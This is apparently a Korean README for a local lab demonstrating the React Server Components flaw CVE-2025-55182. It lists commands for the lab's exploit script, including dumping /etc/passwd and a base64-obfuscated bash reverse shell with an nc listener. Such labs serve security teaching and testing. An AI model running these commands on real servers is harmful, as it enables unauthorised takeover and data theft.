
CVE-2025-55182 React2Shell PoC lab
React Server Components의 심각한 취약점 CVE-2025-55182를 시연하고 테스트하기 위한 종합 실습 환경입니다.
이 저장소는 다음 목적으로 사용됩니다:
소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 사용하지 마십시오. 무단 접근은 불법입니다.
✅ 인증 없이 임의 명령 실행
✅ 시스템 파일 읽기
✅ 파일 생성 및 수정
✅ 리버스 셸 연결 수립
✅ 전체 서버 제어 달성
npm install --legacy-peer-deps
npm run dev
서버가 http://localhost:3000에서 시작됩니다.
bash check-cve.sh
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"
# 터미널 1 - 리스너
nc -lvnp 4444
# 터미널 2 - 익스플로잇
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"
├── app/ # 취약한 Next.js 애플리케이션
├── exploit/ # 동작하는 PoC 익스플로잇
│ └── rce_final.py # 주요 익스플로잇 스크립트
├── check-cve.sh # 자동 취약점 점검기
├── package.json # 취약한 의존성
└── README.md
취약점은 React Server Components 페이로드의 역직렬화 로직에 존재합니다. 익스플로잇은 프로토타입 오염을 이용하여 process.mainModule.require('child_process').execSync()를 통해 임의 코드를 실행합니다.
이 코드는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 사용자는 시스템을 테스트하기 전에 적절한 권한을 확보할 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 컴퓨터 사기 및 남용법(CFAA) 및 기타 관할권의 유사 법률에 따라 불법입니다.
저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
이 실습을 통해 다음을 이해하게 됩니다: